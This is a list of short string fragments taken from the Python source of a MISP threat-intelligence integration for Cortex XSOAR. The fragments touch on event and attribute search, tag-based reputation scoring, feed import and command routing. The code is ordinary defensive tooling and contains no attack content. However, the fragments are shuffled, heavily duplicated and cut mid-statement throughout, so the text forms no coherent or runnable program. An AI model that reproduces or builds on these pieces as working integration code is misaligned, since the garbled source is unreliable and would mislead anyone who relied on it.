MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg\",\n \"found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found\",\n \"\\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in UT:\",\n \"value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes,\",\n \"found in MISP for the given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) ->\",\n \"get the information about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str):\",\n \"= int(tag) if tag <= 0: raise DemistoException(f\\\"Tag id has to be a\",\n \"return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args))\",\n \"elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command ==\",\n \"'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object']\",\n \"(event ones and the event's attribute tags ones as it is part of\",\n \"the threat level id is in [1,2,3]. Otherwise, the threat level is 4\",\n \"attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'):\",\n \"'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS\",\n \"indicator score by following logic. Indicators of attributes and Events that: * have\",\n \"'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1':\",\n \"{'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID =\",\n \"python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not\",\n \"get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return\",\n \"ids. If there is an id that exists in both sets, it will\",\n \"'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment':\",\n \"key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name':\",\n \"range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict,\",\n \"return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events\",\n \"err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict)\",\n \"tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After\",\n \"command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object':\",\n \"were detected as related to the tag. \\\"\\\"\\\" scored_events = [] if found_tag:\",\n \"both sets, it will be removed from the suspicious tag ids set and\",\n \"EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is no need\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id\",\n \"demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew event with ID:\",\n \"'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent',\",\n \"'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True)\",\n \"else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs,\",\n \"set() found_related_events = {} if not attributes_list: return None for attribute in attributes_list:\",\n \"tag ids set and will be stayed only in the malicious one (as\",\n \"dict): \\\"\\\"\\\" Gets an event id and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id')\",\n \"3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2\",\n \"to that existing event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event\",\n \"event's (is_event_level = true) we would like to add to tag_set_ids all the\",\n \"be written to the context Returns: CommandResults includes all the indicator results. \\\"\\\"\\\"\",\n \"If no tag was found, then the score is Unknown so no events\",\n \"'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types\",\n \"search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\",\",\n \"f'Tag {tag} has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable,\",\n \"output as the information is too big. User can use the command search-attributes\",\n \"attribute\\\\nNew attribute: {value} was added to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',\",\n \"= \\\"\\\", \\\"\\\" for event in events_to_human_readable: # removing those fields as they\",\n \"= create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise\",\n \"dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in MISP\\\") indicator\",\n \"be called as an independence command or as part of another command (create\",\n \"'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\"\",\n \"them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return\",\n \"the tags and search if found_tag is one of it's tags. If so,\",\n \"add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew\",\n \"return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif\",\n \"'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = {\",\n \"we sort the attributes list by the event ids as the greater event\",\n \"tags have a field called inherited. When it is set to 1 it\",\n \"'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute':\",\n \"build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url):\",\n \"{response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute',\",\n \"'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked':\",\n \"addition, returns set of the found tag ids. Some tags have a field\",\n \"a SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.') if\",\n \"'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial':\",\n \"event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output,\",\n \"this list to include only the ID and Name fields. In addition, returns\",\n \"DemistoException(\\\"limit should be zero or a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights =\",\n \"is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value,\",\n \"'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can\",\n \"in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes,\",\n \"address, domain, url or file hash). dbot_type (str): Indicator type (file, url, domain,\",\n \"last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type =\",\n \"stronger than recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids =\",\n \"else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true'\",\n \"returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context)\",\n \"= set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited',\",\n \"'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2,\",\n \"'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type\",\n \"correct\\\" in error: return_error('Unable to connect to MISP, ' 'Please make sure the\",\n \"Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\"\",\n \"add it to tag_set_ids. In any other case, we won't add the tag.\",\n \"output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list:\",\n \"return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE,\",\n \"MISP with the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True)\",\n \"Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should\",\n \"key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes\",\n \"attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'),\",\n \"for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id,\",\n \"that were detected as related to the tag. \\\"\\\"\\\" scored_events = [] if\",\n \"attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable =\",\n \"params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3\",\n \"scored as malicious. - Attributes tags (both malicious and suspicious) are stronger than\",\n \"'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations',\",\n \"to include only the ID and Name fields. In addition, returns set of\",\n \"is not valid\\\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error:\",\n \"'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] =\",\n \"for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return\",\n \"json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return\",\n \"not valid\\\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The\",\n \"'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') ==\",\n \"hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value)\",\n \"Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids,\",\n \"if found_tag is one of it's tags. If so, the event will be\",\n \"sets which include tag ids. If there is an id that exists in\",\n \"please note: attributes are excluded from search-events output as the information is too\",\n \"demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if\",\n \"ID to add attribute to internal (bool): if set to True, will not\",\n \"a positive number\\\") if limit and limit < 0: raise DemistoException(\\\"limit should be\",\n \"event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ]\",\n \"prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return\",\n \"star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] =\",\n \"tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights\",\n \"else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event\",\n \"7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name)\",\n \"will be stayed only in the malicious one (as a tag that was\",\n \"domain, url or file hash). dbot_type (str): Indicator type (file, url, domain, email\",\n \"https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url =\",\n \"be removed from the suspicious tag ids set and will be stayed only\",\n \"the API key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with warnings\",\n \"found_related_events (dict): contains info (name, id, threat level id) about all the events\",\n \"1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0,\",\n \"is str), and verify all the tags are valid positive integers.\\\"\\\"\\\" for tag\",\n \"MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit\",\n \"warnings \\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn\",\n \") else: return CommandResults(readable_output=f\\\"No events found in MISP for the given filters: {args}\\\")\",\n \"Name fields. In addition, returns set of the found tag ids. Some tags\",\n \"'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input':\",\n \"if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes):\",\n \"'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if\",\n \"= match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format\",\n \"be a positive integer, please change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict,\",\n \"add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids):\",\n \"ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag\",\n \"if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0\",\n \"return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP scheme Scheme\",\n \"a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object\",\n \"= event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event):\",\n \"outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type,\",\n \"\\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query\",\n \"found_tag) which caused the indicator to be scored as malicious or suspicious. Args:\",\n \"{}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in the integration\",\n \"if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0\",\n \"Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True)\",\n \"'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args,\",\n \"{ 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'),\",\n \"error: return_error('Unable to connect to MISP, ' 'Please make sure the API key\",\n \"\\\"FILE\\\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type\",\n \"reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat\",\n \"malicious is stronger than recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids)\",\n \"suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': #\",\n \"suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a\",\n \"import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools\",\n \"Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As\",\n \"' 'Please make sure the API key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\"\",\n \"attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'),\",\n \"return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response\",\n \"formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been added to MISP event ID {event_id}'\",\n \"added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, )\",\n \"'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp':\",\n \"not a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)}\",\n \"item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA\",\n \"XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict):\",\n \"part of another command (create event for example) Args: event_id (int): Event ID\",\n \"= re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params,\",\n \"not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value} is not valid\\\") if\",\n \"\\\"\\\"\\\"Sending object to MISP and returning outputs Args: obj: object to add to\",\n \"'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id':\",\n \"in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\",\",\n \"as described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator:\",\n \"check it once again\\\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args)\",\n \"'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address: {value} is not\",\n \"outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids'))\",\n \"attribute's tag. If the data is event's (is_event_level = true) we would like\",\n \"'2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id':\",\n \"handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to connect to MISP because of a\",\n \"attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes' values\",\n \"must be MISP. \\\"\\\"\\\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url =\",\n \"'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory',\",\n \"first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults:\",\n \"raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No\",\n \"if \\\"SSLError\\\" in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError,\",\n \"else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true'\",\n \"Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create the\",\n \"Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS\",\n \"= [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects\",\n \"PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the event {uuid}'\",\n \"'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published',\",\n \"tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is an\",\n \"= get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1':\",\n \"add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj =\",\n \"outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found in MISP for the given\",\n \"{}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None\",\n \"'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids':\",\n \"raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref)\",\n \"scope). If the data is attribute's (is_event_level = false), and the tag is\",\n \"[tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies:\",\n \"limit): if page and page < 0: raise DemistoException(\\\"page should be zero or\",\n \"= f\\\"## MISP add attribute\\\\nNew attribute: {value} was added to event id {new_event.id}.\\\\n\\\"\",\n \"'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version':\",\n \"args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in\",\n \"the URL are correct\\\" in error: return_error('Unable to connect to MISP, ' 'Please\",\n \"object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict)\",\n \"def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type\",\n \"to tag_set_ids. In any other case, we won't add the tag. Args: attribute_dict\",\n \"def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict = {},\",\n \"return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids,\",\n \"return CommandResults(readable_output=f\\\"No events found in MISP for the given filters: {args}\\\") def delete_event(demisto_args:\",\n \"None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username\",\n \"[]): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable\",\n \"event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) #\",\n \"else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None\",\n \"= get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score,\",\n \"[] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name =\",\n \"given UUID is an attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid')\",\n \"attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive number.') response\",\n \"for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() 